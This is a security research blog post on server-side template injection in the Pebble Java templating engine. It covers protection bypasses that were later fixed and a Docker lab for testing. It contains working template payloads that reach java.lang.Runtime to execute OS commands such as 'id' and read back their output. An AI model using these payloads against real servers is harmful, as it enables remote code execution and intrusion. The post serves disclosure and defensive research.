Server-Side Template Injection isn’t exactly a new vulnerability in the world of web applications. It was made famous in 2015 by James Kettle in his famous blogpost on PortSwigger blog. In this post, I’ll share our journey with another, less popular Java templating engine called Pebble.

Pebble and template injection

According to its official page, Pebble is a Java templating engine inspired by Twig. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization. It supports one of the most common syntax in templating engines, in which the variable substitution is done with {{ variable }} . More often than not, in templating engines it is possible to include arbitrary Java expressions. Imagine that you have a variable called name and you want to put it upper-case in the template, then you can use {{ name.toUpperCase() }} .

The usual way of exploiting template injection in various expression languages in Java is to use code similar to the following:

variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') 1 variable . getClass ( ) . forName ( 'java.lang.Runtime' ) . getRuntime ( ) . exec ( 'ls -la' )

Basically, every object in Java has a method called getClass() which retrieves a special java.lang.Class from which it is easy to get instance of arbitrary Java class. The usual next step is to get an instance of java.lang.Runtime since it allows to execute OS commands.

When we came across Pebble for the first time, the code was basically identical to the one shown above. The only thing that needed to be done was to add mustache tags on the both sides:

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} 1 { { variable . getClass ( ) . forName ( 'java.lang.Runtime' ) . getRuntime ( ) . exec ( 'ls -la' ) } }

Attempts to protect against getting arbitrary classes in Pebble

The author of Pebble added a protection against the attack and blocked method invocation of getClass() . Initially, though, there was a funny way to bypass it because Pebble tried to be smart when looking for methods in expressions. Suppose you have the following expression:

{{ someString.toUPPERCASE() }} 1 { { someString . toUPPERCASE ( ) } }

The expression shouldn’t work since the right name of the method is toUpperCase() not toUPPERCASE() . Pebble, though, ignored casing in methods or properties names. So with the code above, you would actually call the “normal” toUpperCase() .

So the issue was that when Pebble tried to block access to getClass() , it checked the name of the method case sensitive. So you could just use the following statement:

{{ someString.getCLASS().forName(...) }} 1 { { someString . getCLASS ( ) . forName ( . . . ) } }

and bypass the protection. This issue was fixed in April 2019 in version 3.0.9 by making the comparison case insensitive.

A few months later, when researching some other Java-related stuff and skimming through the documentation, I noticed that there is another built-in way to get access to instance of java.lang.Class . A few wrapper classes in java, like java.lang.Integer, has a field called TYPE whose type is java.lang.Class itself! Hence another way to execute arbitrary code is shown below:

{{ (1).TYPE.forName(...) }} 1 { { ( 1 ) . TYPE . forName ( . . . ) } }

I reported the issue to Pebble in July 2019, and it was fixed in master using the same approach as is used in FreeMarker, ie. a blacklist of method calls. So while I still can do {{ (1).TYPE }} , forName() method is blocked making it “impossible” to execute arbitrary code. I put the word “impossible” in quotes since I believe that a bypass is still out there to be found but I was unable to do so. That’s an interesting space to do some research.

Reading the output of command (Java 9+)

While it’s always been easy to execute arbitrary command in Java, in case of vulnerabilities like Server-Side Template Injection, sometimes it happens to be difficult to read the output. It was usually done via iterating over the resulting InputStream or sending the output out-of-band.

When researching Pebble, I noticed that things got much easier in Java 9+ since now InputStream has a convenient method readAllBytes which returns a byte array! Then byte[] can be converted to String with the String constructor. Here’s the exploit:

{% set cmd = 'id' %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }} 1 2 3 4 5 6 7 8 9 10 11 12 { % set cmd = 'id' % } { % set bytes = ( 1 ) . TYPE . forName ( 'java.lang.Runtime' ) . methods [ 6 ] . invoke ( null , null ) . exec ( cmd ) . inputStream . readAllBytes ( ) % } { { ( 1 ) . TYPE . forName ( 'java.lang.String' ) . constructors [ 0 ] . newInstance ( ( [ bytes ] ) . toArray ( ) ) } }

And the result:

Pebble example exploit

Playing with Pebble

If you wish to play with Pebble, we have prepared a GitHub repo with a Docker container in which you can run various versions of Pebble. You can grab it here: https://github.com/securitum/research/tree/master/r2019_server-side-template-injection-on-the-example-of-pebble.

All you need to do is to make sure you have both docker and docker-compose installed and then just run docker-compose up . Then, the webserver runs on http://localhost:4567.

Screenshot of Docker application

Summary

Pebble is not different that many other popular templating engines in which you can execute arbitrary commands if you are allowed to modify the template itself. The recommendation is to make sure that unauthorized users should never be able to modify templates.